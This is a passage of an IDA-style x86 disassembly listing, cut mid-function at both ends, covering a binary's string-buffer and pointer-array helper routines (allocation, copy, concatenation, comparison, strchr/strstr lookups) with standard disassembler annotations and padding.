		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4097AB:				; CODE XREF: sub_4096E0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_409809
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4016E0
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401177
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401FB4
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409809:				; CODE XREF: sub_4096E0+D8j
		test	edi, edi
		jbe	short loc_409843
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4016E0
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_401CDF
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401FB4
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_409843:				; CODE XREF: sub_4096E0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_4096E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098B0	proc near		; CODE XREF: sub_401717j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_4098D0


loc_4098C1:				; CODE XREF: sub_4098B0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_402090
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_4098C1


loc_4098D0:				; CODE XREF: sub_4098B0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4098B0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4098F0	proc near		; CODE XREF: sub_401294j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4098F0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409910	proc near		; CODE XREF: sub_402090j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_7
		pop	ecx
		retn	4
sub_409910	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409930	proc near		; CODE XREF: sub_4016E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_409962
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_409946:				; CODE XREF: sub_409930+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_4015B4
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_409946
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409962:				; CODE XREF: sub_409930+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409930	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409980	proc near		; CODE XREF: sub_401177j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_4099A7
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_409996:				; CODE XREF: sub_409980+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_4015B4
		add	esi, 4
		dec	edi
		jnz	short loc_409996
		pop	esi
		pop	ebx


loc_4099A7:				; CODE XREF: sub_409980+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_409980	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4099C0	proc near		; CODE XREF: sub_401CC1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402059
sub_4099C0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4099F0	proc near		; CODE XREF: sub_4015B4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401145
		add	esp, 8
		retn	8
sub_4099F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A20	proc near		; CODE XREF: sub_401FB4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_409A3D
		mov	edx, [esp+arg_8]
		push	esi


loc_409A31:				; CODE XREF: sub_409A20+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_409A31
		pop	esi

locret_409A3D:				; CODE XREF: sub_409A20+Aj
		retn
sub_409A20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A50	proc near		; CODE XREF: sub_401CDFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_409A72
		mov	eax, [esp+arg_8]
		push	esi


loc_409A61:				; CODE XREF: sub_409A50+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_409A61
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409A72:				; CODE XREF: sub_409A50+Aj
		mov	eax, [esp+arg_8]
		retn
sub_409A50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409AB0	proc near		; CODE XREF: sub_402059j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_409ABA
		xor	eax, eax


loc_409ABA:				; CODE XREF: sub_409AB0+6j
		shl	eax, 2
		push	eax
		call	sub_437AEA
sub_409AB0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AE0	proc near		; CODE XREF: sub_401145j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_409AFB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_409AFB:				; CODE XREF: sub_409AE0+11j
		retn
sub_409AE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B10	proc near		; CODE XREF: sub_401988j

arg_0		= dword	ptr  4

		mov	al, byte_44916A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B46
		push	edi
		nop
		call	near ptr 2831862h
		mov	edi, dword_5118CC
		push	0FFFFFFF5h
		call	edi
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409B46:				; CODE XREF: sub_409B10+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_409B10	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B80	proc near		; CODE XREF: sub_401CEEj
		mov	al, byte_44916A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B9F
		call	near ptr 2831BD4h
		nop
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_409B9F:				; CODE XREF: sub_409B80+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_409B80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409BC0	proc near		; CODE XREF: sub_40142Ej
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_43F010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_409BC0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409BF0:				; CODE XREF: ___:00402081j
					; ___:loc_40218Fj
		push	esi
		mov	esi, ecx
		call	sub_401226
		test	byte ptr [esp+8], 1
		jz	short loc_409C08
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C08:				; CODE XREF: ___:00409BFDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C20	proc near		; CODE XREF: sub_401870j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43F010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015E1
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C20	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C60	proc near		; CODE XREF: sub_4014D3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43F010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401FDC
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409CA0	proc near		; CODE XREF: sub_402112j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	offset dword_4447F4
		push	ecx
		mov	dword ptr [esi], offset	off_43F010
		nop
		call	sub_5F67AE
		add	esp, 0Ch
		lea	edx, [esp+18h+var_10]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015E1
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_409CA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D10	proc near		; CODE XREF: sub_401226j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	off_43F010
		cmp	eax, edi
		jz	short loc_409D2C
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D2C:				; CODE XREF: sub_409D10+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_409D3F
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D3F:				; CODE XREF: sub_409D10+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_409D10	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D60	proc near		; CODE XREF: sub_4015E1j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_409DCA
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_409D8A
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D8A:				; CODE XREF: sub_409D60+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F8h, 7E89FF85h,	8B2B7409h, 8BC033CBh, 116E89D1h
		dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
		dd 51500956h, 0C9E89052h, 837783DCh
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_409DCA:				; CODE XREF: sub_409D60+Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409D60	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E00	proc near		; CODE XREF: sub_401FDCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		pop	esi
		retn	4
sub_409E00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409E30:				; CODE XREF: ___:00401A5Aj
		mov	eax, [esp+4]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		push	offset dword_4447F4
		push	ecx
		call	sub_5F67AE
		nop
		add	esp, 0Ch
		lea	edx, [esp+4]
		mov	ecx, esi
		push	edx
		call	sub_4015E1
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E80	proc near		; CODE XREF: sub_401AAFj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_409F12
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	sub_437AEA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_409F12
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_409F0F
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409F0F:				; CODE XREF: sub_409E80+84j
		mov	[ebx+9], ebp


loc_409F12:				; CODE XREF: sub_409E80+Cj
					; sub_409E80+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409E80	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F50	proc near		; CODE XREF: sub_4016C7j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_401AAF
		pop	esi
		retn	4
sub_409F50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F80	proc near		; CODE XREF: sub_401140j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4447F4
		push	ecx
		call	sub_5F67AE
		nop
		add	esp, 0Ch
		lea	edx, [esp+14h+var_10]
		mov	ecx, esi
		push	edx
		call	sub_401AAF
		pop	esi
		add	esp, 10h
		retn	4
sub_409F80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409FD0	proc near		; CODE XREF: sub_4012EEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_409FE7
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409FE7:				; CODE XREF: sub_409FD0+7j
		mov	eax, [ecx+9]
		push	ebx


loc_409FEB:				; CODE XREF: sub_409FD0+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_40A016
		test	cl, cl
		jz	short loc_40A00F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_40A016
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_409FEB


loc_40A00F:				; CODE XREF: sub_409FD0+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A016:				; CODE XREF: sub_409FD0+23j
					; sub_409FD0+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_409FD0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A040	proc near		; CODE XREF: sub_401B86j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A040	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A070	proc near		; CODE XREF: sub_40150Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_40A083
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_40A083:				; CODE XREF: sub_40A070+6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		retn	4
sub_40A070	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0B0	proc near		; CODE XREF: sub_4021D0j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A0B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0E0	proc near		; CODE XREF: sub_401CD0j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_40A0F3
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A0F3:				; CODE XREF: sub_40A0E0+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_40A0E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A110	proc near		; CODE XREF: sub_40102Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_437B30
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_40A152
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_4015E1


loc_40A152:				; CODE XREF: sub_40A110+13j
		add	esp, 2000h
		retn
sub_40A110	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A180	proc near		; CODE XREF: sub_401D34j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401316
		retn	4
sub_40A180	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1A0	proc near		; CODE XREF: sub_401316j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, dword_511AEC
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx	; strchr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A1C4
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A1C4:				; CODE XREF: sub_40A1A0+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strchr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A1A0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1F0	proc near		; CODE XREF: sub_4018B1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401816
		retn	4
sub_40A1F0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A210	proc near		; CODE XREF: sub_401816j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_402135
		pop	esi
		retn	8
sub_40A210	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A240	proc near		; CODE XREF: sub_4013EDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402135
		retn	4
sub_40A240	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A260	proc near		; CODE XREF: sub_402135j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_40A275
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A275:				; CODE XREF: sub_40A260+Bj
		mov	eax, [esi+9]
		mov	ebx, dword_511B04
		push	edi
		push	eax
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A28F
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A28F:				; CODE XREF: sub_40A260+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strstr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A260	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A2D0	proc near		; CODE XREF: sub_401C71j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_40A2E3
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A2E3:				; CODE XREF: sub_40A2D0+Aj
		mov	eax, [esi+9]
		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_40A2F6
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A2F6:				; CODE XREF: sub_40A2D0+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	sub_437AEA
sub_40A2D0	endp

; ---------------------------------------------------------------------------
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A350	proc near		; CODE XREF: sub_4013E3j
		mov	eax, [ecx+11h]
		retn
sub_40A350	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A370	proc near		; CODE XREF: sub_4012B2j

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A370
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_40A3C2
		mov	esi, [esp+34h+arg_0]
		push	offset byte_448F40
		mov	ecx, esi
		call	sub_401870
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+2Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A3C2:				; CODE XREF: sub_40A370+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_40142E
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	sub_437AEA
sub_40A370	endp

; ---------------------------------------------------------------------------
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+44h]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+14h]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+1Ch]
		call	sub_4015E1
		push	ebx
		call	sub_437AD2
; ---------------------------------------------------------------------------
		mov	esi, [esp+44h]
		add	esp, 4
		lea	eax, [esp+18h]
